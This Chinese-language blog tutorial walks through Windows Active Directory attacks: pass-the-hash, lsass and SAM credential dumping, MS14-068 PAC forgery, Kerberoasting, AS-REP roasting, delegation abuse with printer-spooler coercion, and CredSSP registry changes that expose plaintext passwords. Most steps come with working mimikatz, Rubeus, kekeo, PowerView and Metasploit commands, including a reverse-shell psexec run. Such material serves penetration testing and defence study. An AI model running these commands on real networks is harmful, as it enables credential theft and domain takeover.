横向移动与域控权限维持方法总汇

2022-02-11 15:30:31 浏览数 (1)

横向移动

PTH

如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响

那前提就是要获取hash值了

KB2871997

如果系统安装KB2871997补丁或者系统版本大于等于window server 2012时(服务器版本),大于等于win8.1(家庭版本)时(自带补丁),默认在lsass.exe这个进程中不会再将可逆的密文缓存在自己的进程内存中,所以我们默认是没办法通过读取这个进程然后逆向该密文来获取明文密码

虽然可以通过修改注册表来使LSASS强制存储明文密码

代码语言:javascript复制
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。

同时比较重要的一点是增加了Protected Users组,所属用户会被强制要求使用Kerberos认证,可以避免PTH攻击,以及用户注销后删除凭证(明文密码、LM/NTLM HASH、Kerberos的TGT票据等)

以及:Restricted Admin RDP模式的远程桌面客户端支持

关于KB2871997的一个误解

自window vista之后没办法使用RID非500的本地管理员用户来进行Pass The Hash, 但是如果是域用户且该域用户属于本地Administrators组的成员也可以进行pass the hash。

很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。UAC是window Vista的新安全组件,具体是个啥这里也不细说了。 RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。 而非RID500的本地账户则为低权限令牌,若想提升权限则需通过交互方式登录到要通过远程协助或远程桌面管理的计算机走UAC提权。

关于这个成因的一些系统配置选项:

这个项默认允许内置管理员账户(RID500账户)在所有应用下都以高权限令牌运行。这也是RID500账户能PTH的原因

以及此注册表项,可以关闭UAC的远程限制,即远程连接时UAC会失效,这样的话只要是administrators组的用户都能PTH辣。

其中该值为0则代表开启UAC的远程限制,设置该值为1时

HASH获取

1.使用meterpreter里的mimikatz模块

代码语言:javascript复制
meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权  samdump::hashes dump哈希  
或者
meterpreter>msv/kerberos/widgst

2.使用meterpreter自带的hash获取模块

代码语言:javascript复制
meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump   (推荐使用这个)

3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash,mimikatz需要免杀处理 意思就是既然我们获取到了shell,我们直接向目标机上传一个mimikatz然后在shell里使用它就行了. 使用方法为cmd窗口打开mimikatz.exe,进入mimikatz终端,然后输入mimikatz指令即可

4.上传procdump到目标机,获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希

procdump.exe是微软自带的程序,所以不会触发杀毒。所以可以通过它传回lsass.dmp本地提取hash

代码语言:javascript复制
procdump64.exe -accepteula -ma lsass.exe lsass.dmp  执行该指令,获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

Procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump mimikatz:https://github.com/gentilkiwi/mimikatz/releases

5.使用cobalt strike 获取hash

代码语言:javascript复制
beacon>hashdump
beacon>mimikatz mimikatz指令

6.利用sam表

mimikatz在线读sam表中的hash

代码语言:javascript复制
privilege::debug
token::elevate
lsadump::sam

将sam表下载到本地由mimikatz分析

代码语言:javascript复制
reg save HKLMSYSTEM SYSTEM
reg save HKLMSAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件,并将其待会本地,由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296

SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Guest

RID  : 000003e8 (1000)
User : liukaifeng01
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

hash 传递攻击 PTH (Pass the Hash)

1.msf里使用psexec模块

代码语言:javascript复制
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec  //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5  //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run

2.使用mimikatz

我们在目标机里放置mimikatz.exe 然后执行以下命令

代码语言:javascript复制
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc  //自行修改

之后便会弹出一个cmd窗口,在这个窗口里链接机器即可

代码语言:javascript复制
net use \192.168.222.131c$

3.使用cobalt strike

在cobalt strike里找到域控,然后使用psexec模块,选择一个本地hash即可。

MS14-068

这个洞的危害很大,可以让任意域用户提权到域管。 适用版本: server 2000以上 补丁: kb3011780

PAC

PAC是kerberos协议里用来解决用户权限功能所设计出的东西。 在kerberos协议里面,一个用户用自己的hash拿到了TGT,接着凭借着TGT拿到了TGS,接着用TGS去访问服务。看似只要hash正确,用户就能到处访问服务,但是所有服务都可以给这个用户所访问吗?肯定是不行的,所以微软在kerberos为了实现用户权限分级,采用了PAC。 PAC被设计为存在于TGT里面。完整的kerberos权限验证流程如下。

1。用户凭借自己的hash加密时间戳并发送明文用户名到KDC,KDC认证用户成功后返回被krbtgt用户hash加密的TGT(内有ticekt包含着PAC),以及用户自身hash加密的login session key

2.用户凭借TGT票据向KDC发起指定服务的TGS_REQ。KDC用krbtgt hash解密,若解密成功则直接返回服务hash加密的TGS(这里并没考虑用户的权限,直接返回了TGS)

3.用户用TGS向服务发起请求,服务用自己的hash解密TGS后获得PAC,拿着PAC向KDC询问该用户是否有权限访问。KDC拿到PAC后再次解密,得到了PAC里的 用户的sid,以及所在的组,再判断用户是否有访问服务的权限(有些服务不会验证KDC,这样就会导致白银票据攻击)

PAC自身的结构

PAC在Ticket中的结构

又这个图可以知道,PAC只不过是ticket里Authorization DATA的一个分支。 而Authorization data的结构是这样的

AuthorizationData ::= SEQUENCE OF SEQUENCE { ad-type [0] Int32, ad-data [1] OCTET STRING }

ad-type中就有这么一个类型 AD-IF-RELEVANT 对应数字1,由上上图可知这是PAC的外壳。 若类型为 AD-IF-RELEVAN ,那么ad-data也是一个 AuthorizationData类型的结构体,也有ad-type 和ad-data.那么这个外壳ad-data的ad-type就是次外壳AD-WIN2K-PAC 了,与 AD-WIN2K-PAC 这个ad-type对应的ad-data就是一段连续空间。 这段空间包含一个头部PACTYPE以及若干个PAC_INFO_BUFFER 。 PACTYPE包含的是 cBuffers,版本以及缓冲区 。 PAC_INFO_BUFFER是key-value型的。PAC_INFO_BUFFER的key有很多

0x00000001

登录信息。PAC结构必须包含一个这种类型的缓冲区。其他登录信息缓冲区必须被忽略。

0x00000002

凭证信息。PAC结构不应包含多个此类缓冲区。第二或后续凭证信息缓冲区在接收时必须被忽略。

0x00000006

服务器校验和。PAC结构必须包含一个这种类型的缓冲区。其他登录服务器校验和缓冲区必须被忽略。

0x00000007

KDC(特权服务器)校验和(第2.8节)。PAC结构必须包含一个这种类型的缓冲区。附加的KDC校验和缓冲区必须被忽略。

0x0000000A

客户名称和票证信息。PAC结构必须包含一个这种类型的缓冲区。附加的客户和票据信息缓冲区必须被忽略。

0x0000000B

受约束的委派信息。PAC结构必须包含一个S4U2proxy请求的此类缓冲区,否则不包含。附加的受约束的委托信息缓冲区必须被忽略。

0x0000000C

用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个这种类型的缓冲区。接收时必须忽略第二个或后续的UPN和DNS信息缓冲区。

0x0000000D

客户索取信息。PAC结构不应包含多个这种类型的缓冲区。附加的客户要求信息缓冲区必须被忽略。

0x0000000E

设备信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备信息缓冲区必须被忽略。

0x0000000F

设备声明信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备声明信息缓冲区必须被忽略。

其中比较重要的是1,6和7

0x00000001 KERBVALIDATIONINFO 这个结构用于存储用户的身份信息.它是一个结构体,这个结构体是这样的(待会我们伪造PAC的时候主要就是伪造此处额 UserId 以及 PGROUP_MEMBERSHIP GroupIds )服务器解包PAC后提取用户的sid以及groupid,然后就把当前发包过来的用户权限当成sid,groupid的权限处理。

代码语言:javascript复制
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; //用户的sid
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用户所在的组,如果我们可以篡改的这个的话,添加一个500(域管组),那用户就是域管了。在ms14068 PAC签名被绕过,用户可以自己制作PAC的情况底下,pykek就是靠向这个地方写进域管组,成为使得改用户变成域管
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;

0x00000006和0x00000007 6是服务器校验和,由server密码加密。7是KDC校验和,又KDC密码加密。存在的目的就是防止PAC被篡改。

MS14068

这个漏洞的产生主要是微软犯下了三个错误: 1.对校验和的算法实现不够细致,导致在校验和生成时可以不用管server和KDC的hash直接生成,而且生成出来的校验和还是合法的 2.PAC可以不用放在TGT中,即使是这样,KDC也能照常解析出TGT外的PAC 3.下面再说

那么这个漏洞大致的攻击原理是什么呢。 首先,我们在as_request的时候,把include-PAC标志设置为false,那么as_rep就不会在TGT中返回PAC了。然后这个时候我们自己伪造一个pac,在TGS_REQ时发过去就行了。伪造的pac修改USER SID&GROUP SID(在PAC的 0x00000001 KERBVALIDATIONINFO 结构)可以把我们的用户权限改到很高(域管),从而达到提权到域管的能力。

那么伪造PAC,我们就遇到了两个问题: 1.pac里有校验和,防止自己被篡改,我们得有server和KDC密码才能使校验和合法。 2.pac按理说应该在TGT里,但是TGT是被kbrtgt hash加密的,我们无法获取kbrtgt hash继而无法修改TGT内容,继而不能修改PAC。

来说说如何绕过PAC校验和问题。 我们刚刚说过,0x00000006和0x00000007 这两个结构的存在是为了防止PAC被篡改,这个校验和算法采用的是个叫checksum算法然后把kdc hash和服务hash当作key对PAC加密产生的值,从而防止PAC被篡改。但是checksum算法是有很多种的,md5也是checksum的分支之一,修改PAC后,我们只需设置加密算法为MD5并用MD5算法对0x00000001 KERBVALIDATIONINFO进行加密,将生成的值放入两个检验和即可,KDC拿到0x00000001 KERBVALIDATIONINFO,并且通过解析数据包获取当前加密算法为MD5,然后对其进行MD5加密,若加密结果与校验和一致,则认为PAC未被修改

再来说说如何绕过krbtgt hash加密TGT的问题。 因为我们在AS_REQ时设置include-PAC为false,TGT里就不会包含PAC了。那么我们在TGS_REQ时如何把PAC传递给KDC?只需要把PAC放入req-body即可。 这样KDC依旧会正常解析这个TGS_REQ包

注意TGS_REQ里的include-pac依旧是false。 然后KDC接收到PAC后会先解密TGT拿到authenticator里的key对PAC进行解密(TGS_REQ时加密PAC用的key是随机生成的,这个key会放在authenticator里),然后验证一下PAC的签名,若成功然后把解密得到的PAC采用server key和KDC key重新生成校验和,拼接成一个新的TGT返回给客户端。 上面这一段就是微软犯下的第三个错误,很不可思议,居然莫名其妙的返回了一个包含了PAC的TGT回来。总结来说就是构造了一个畸形的TGS_REQ,从TGS_RES得到了一个包含伪造PAC的TGT。

原理就是上面这些,然后我们用包含伪造PAC的TGT到处访问服务即可。

M14068利用

1.工具kekeo https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718

具体方法为,在kekeo里先执行 kerberos::purge清空票据 然后再执行 exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt 即可。

然后就dir 域控c$ 试试,如果可以就说明提权成功了(不是每次都能成功的)

2.golenpac https://github.com/maaaaz/impacket-examples-windows/blob/master/goldenPac.exe

这个工具好用,

执行类似上述命令,就能返回一个域控的 system权限的cmd shell回来,感觉蛮好用 另外在最后指定域控机器时,可以指定域控以外的机器并获取他们的本地system权限用户. 但返回的似乎不是域控?

kerberoast

Kerberoast攻击原理: 攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码

How to get SPN

如何得到域中的所有SPN?

1.setspn 很简单,只需执行

代码语言:javascript复制
setspn -q */*

即可

2.kerberoast工具集的GetUserSpns powershell脚本

How to get HASH

如何得到hash? 有如下方法

1.Rubeus.exe

这个工具github上就有,但是clone下来后需要自己编译成exe.

然后执行 Rubeus.exe kerberoast指令即可

2.mimikatz

mimikatz真的神器。 通过命令 kerberos::ask /target:你所指定的SPN,

即可通过认证的方式得到一个ST。 然后我们在kerberos::list里可以看到我们想要的ST

3.powershell

越来越发现powershell在域渗透中的重要性了 输入以下指令,即可完成HASH获取

代码语言:javascript复制
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"

然后mimikatz导出即可

How to export hash

获得了ST票据,但怎么导出?

1.mimikatz

导出所有票据

可以发现生成了kirbi文件。这就是我们所需要的hash了

2.Empire Powershell 框架

github:https://github.com/EmpireProject/Empire

我们通过这个框架可以导出hashcat格式的hash.

代码语言:javascript复制
Import-Module .Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

How to crack HASH

如何破解HASH?

1.HASHCAT

这个工具需要让hash格式为hashcat模式才能进行破解。kribi文件不能放入hashcat进行破解.

代码语言:javascript复制
hashcat -m 13110 pass.txt hash.txt

2.kerberoast中的tgsrepcrack.py

支持kribi文件破解

代码语言:javascript复制
python3 tgsrepcrack.py pass.txt xxx.kribi

How to use Kerberoast

既然我们都把ST的加密hash都破解了,那么我们就可以随便改ST中的票据内容了.. 这里使用的是kerberoast工具集里的kerberoast.py

代码语言:javascript复制
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 将票据权限改为administrator
kerberos::ptt PENTESTLAB.kirbi  #将票据注入到内存

AS_REP Roast

较Kerberoast来说,比较鸡肋。 它的原理是在不开启kerberos预身份验证的前提下,获得其他用户的AS_RES,并破解加密session key 的 client hash。

How to get HASH

1.Rubeus

代码语言:javascript复制
Rubeus.exe asreproast

然后就会搜索域中不需要kerberos预验证的用户,并获得ASREP。

2.Empire框架与 ASREPRoast.ps1

使用Empire框架下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户

代码语言:javascript复制
Import-Module .powerview.ps1
 Get-DomainUser -PreauthNotRequired

然后用 ASREPRoast.ps1 :https://github.com/HarmJ0y/ASREPRoast 获取指定用户的AS-REPhash

代码语言:javascript复制
Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt

就会生成一个hash数据文件了

How to crack hash

将生成的HASH保存起来,并在下图处加入$23

然后丢给hashcat 跑

代码语言:javascript复制
hashcat -m 18200 hash.txt pass.txt

注意这里的pass.txt是自己的明文字典…之前我还一直以为是爆破出来的结果. 原来是一个一个的用明文字典去爆破。

委派攻击

域委派

域委派是一种域内主机的行为,使某个服务可以以访问的用户的身份去访问另外一个服务。 为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是: 用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。 发生域委派的服务一般为机器账户和服务账户。 域委派分为三种:非约束性委派,约束性委派,基于资源的约束性委派

非约束性委派

非约束性委派的原理是:用户想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,于是会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A,服务A就相当于获得了用户的TGT,把TGT放入lsass进程,然后就可以拿着用户的TGT以用户的身份去访问所有用户权限能够访问的服务了。

非约束性委派的启用:

为某账户启用 信任此计算机来委派任何服务 即开启非约束性委派。 开启后在该用户的 ACL属性会多出一个 flag : WORKSTATION_TRUSTED_FOR_DELEGATION (图截不完,反正这个flag就在箭头所指处的后面)

非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 这里说个题外话,域控主机默认是非约束性委派

约束性委派

非约束性委派是很不安全的(因为控制了开启非约束性委派的机器,就相当于获得了上面的所有其他用户的TGT),所以更安全的约束性委派诞生了。 约束性委派多了两个委派协议,S4U2SELF S4U2PROXY,并且限制了被设置委派的服务的访问范围:仅能被委派到被指定的服务。

约束性委派的大致流程: 用户访问开启约束性委派的服务A (情况一:无S4U2SELF参与)首先需要经过KDC认证,KDC发现服务A开启了约束性委派,于是在TGS_RES返回给用户ST1(可转发ST),用户拿着ST1访问服务A,服务A先与KDC进行身份验证获得一个有效TGT,然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ,KDC返回ST2(用户身份的ST),然后服务A拿着ST2访问指定服务。 (情况二:有S4U2SELF参与)用户通过其他方式(如NTLM认证,表单认证等)获取了服务A的信任,但是此时服务A并没有来自用户的ST1,按情况一中的流程,服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT(获取KDC信任),然后用这个TGT发起TGS_REQ获得指定用户的ST1,既然获取了ST1,就继续情况一中的流程即可了。

也就是说S4U2SELF是用户通过非kerberos协议完成认证的情况下,自动向KDC获取ST1的一个协议。 而S4U2PROXY则是将ST1发给KDC,使其变现为成自己可用的 ST2 的一个协议。

启用方法:

其中被添加的服务则是允许被委派到的服务

若启用的是 仅使用kerberos,那么useraccountcontrol属性仅有 workstation_trust_account. 若启用任何身份验证协议,就会有 TrustedToAuthenticationForDelegation

基于资源的约束性委派

Windows Server 2012中引入了基于资源的约束性委派。 只能在运行Windows Server 2012或Windows Server 2012 R2及以上的域控制器上配置 基于资源的约束性委派,不需要域管理员前来设置,而把设置委派的权限交给了自身。 其实就是可以摆脱域控来主动设置自己可以被哪些账户委派访问。

非约束性委派攻击

非约束性委派有巨大的安全问题,上面我们说过,非约束性委派的实质就是把用户的TGT存入lassa进程,从而模拟用户身份进行各种委派访问,所以我们只需控制非约束性委派攻击的机器,然后dump出所有的票据,就相当于获得了所有经过该服务进行约束性委派的用户的身份了。

1.进行非约束性委派账户扫描

这里提一下怎么创建有SPN的服务账户。 只需再域控里执行 setspn -U -A spn_type username 即可 其中spn_type即SPN的格式: MSSQLSvc/:[ | ]

  • MSSQLSvc 是要注册的服务。
  • 是服务器的完全限定域名。
  • 是 TCP 端口号。
  • 是 SQL Server 实例的名称。

这里我们随便输一个,比如 sb/caonima 这种都行.

这里采用powersploit下的powerview.ps1 根据我网上很多搜索结果,查找非约束委派服务账户只需调用 Get-NetUser -Unconstrained -Domain de1ay.com 这个命令即可,但是我下载下来的powerview里的get-netuser里却没有unconstrained参数,很烦。所以用一个比较原始的方法来判别(适合在用户少的情况下) 直接调用 Get-NetUser -SPN 找到所有服务账户或者Get-domaincomputer找到所有机器账户,然后判断其useraccountcontrl里有没有trusted_for_delegation,若有,则说明开启了非约束性委派

查询非约束委派机器账户则用 Get-domaincomputer -unconstrained -domain const.com

2.非约束性委派的攻击

仅能基于机器账户

如果我们获得了一个非约束性委派账户,我们就可以通过收集内存中的tgt达到任意用户访问的目的。

在被控制的非约束性委派机器上使用mimikatz。 privilege::debug提权 sekurlsa::tickets 查看本机所有票据

通过以上命令获取票据,如果管理员访问了本机的一些服务,那么它的TGT就会被截获放入内存。

我们模拟管理员调用非约束性委派机的smb服务

我们回到非约束委派机,查看票据

tgt被截获,我们用 sekurlas::tickets /export 把票据导出来

然后mimikatz里使用 kerberos::ptt 票据文件名 将票据注入内存 访问域控c$

成功

3.非约束性委派配合 Spooler打印机服务

纯非约束性委派攻击很鸡肋,因为必须要其他用户通过你进行委派访问。 但是 :利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。 配合非约束性委派攻击,简直爆炸,可以主动拿到其他用户的TGT。- 而且splooer服务是默认运行的。(图源WIN7)

使其他主机强行与自己发生身份验证的脚本:需要自己编译一下https://github.com/leechristensen/SpoolSample.git

在此之前需要开启监听来自其他主机的TGT,这里用的是rubeus Rubeus.exe monitor /interval:1 /filteruser:xx

然后使用SpoolSample.exe XX win7,让指定机器访问WIN7进行身份验证

然后获得TGT,下班。

约束性委派的攻击

约束性委派的大致攻击流程是: (利用S4U2SELF=>)如果我们获得了约束性委派机的NTLM hash或者明文密码,我们就可以以此来向KDC发送一个TGT申请,获得一个可转发的TGT。然后用这个可转发的TGT调用S4U2SELF协议,获得一个针对自己的ST1票据(其中ST1票据中的请求用户可以任意伪造).然后用这个ST1票据去向KDC请求ST2,然后用ST2去访问服务,此时我们访问的身份就是我们任意伪造的身份了.

重点是只要获得了可转发TGT,约束性委派机就可以任意伪造其他用户的ST1票据请求,太可怕了。

这个攻击的最大前提是我们得获得约束性委派账户的NTLM HASH或者明文密码,然后我们才能成功的得到可转发TGT,然后才能得到接下来的一切。

首先配置好约束性委派账户

注意选用 使用任何身份验证协议

我们先信息搜集:看哪些用户是开启约束性委派的。一手powerview安排上

箭头指出的地方就是可以被委派访问的服务

我们用kekeo来实现攻击.

代码语言:javascript复制
tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx
获得TGT转发票据

tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt处改为刚刚得到的TGT文件的名字,这个命令执行后得到administrator身份的 ST2

把最后获得的票据用mimikatz kerberos::ptt 注入内存,完事。

基于资源的约束性委派

refer:https://xz.aliyun.com/t/7454

原理的几个点:

1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。 2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。 3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domainHOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性委派机器为A 1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。 2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派 3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。 4.用ST2访问A的CIFS服务,权限获得。

实操

这个攻击说白了就是个提权…

首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本

然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。 直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。

我们依旧使用powerview。先调用 Get-DomainUser -Identity username -Properties objectsid来获取当前用户SID 然后Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"} 查看当前用户对某台主机是否有写权限。

如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。 如图看到我们对WIN7进行操作

好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

代码语言:javascript复制
Import-Module .Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity属性的值 ,这个操作我们用powerview实现。

代码语言:javascript复制
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于机器账户SID怎么获得,powerview下的 get-domiancomputer hacksystem 然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否设置成功

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值

现在都统统设置好了,开始下一步吧。 网上一般用的rubeus,这里我用kekeo吧

代码语言:javascript复制
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 写入票据

然后我在本机使用以上方法后klist一下,发现确实存在票据

但是dir test1c$时本机莫名其妙不能进行kerberos验证,我服了》。。但不管怎样,我们拿到银票了

敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。

我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,不能进行S4U2PROXY。我们用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt继续实验administrator,发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具 https://www.pkisolutions.com/tools/asn1editor/ 但实际上rubeus也能完成票据修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

完事

credssp 导出用户明文密码

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。 通常运用于远程桌面服务。

我们在配置这个协议时,一般在组策略编辑器里配置。

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据,即明文密码。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据,即明文密码。

这几个属性在注册表里对应 HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation。

攻击原理

那么这样看,这个攻击流程就很自然了。 我们要获得两台机器,一台机器当作远程桌面的服务器,一台当作远程桌面的客户端。 在客户端上配置组策略(CREDSSP),使其在远程桌面身份验证时发送明文密码。 然后开始远程桌面验证,在服务器上获得客户端发来的明文密码.

实操

1.通过修改注册表,改变组策略身份验证的凭据策略(选一个),这一步需要管理员权限,本地或域管

代码语言:javascript复制
reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefaultCredentials /v 1 /t REG_SZ /d *

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

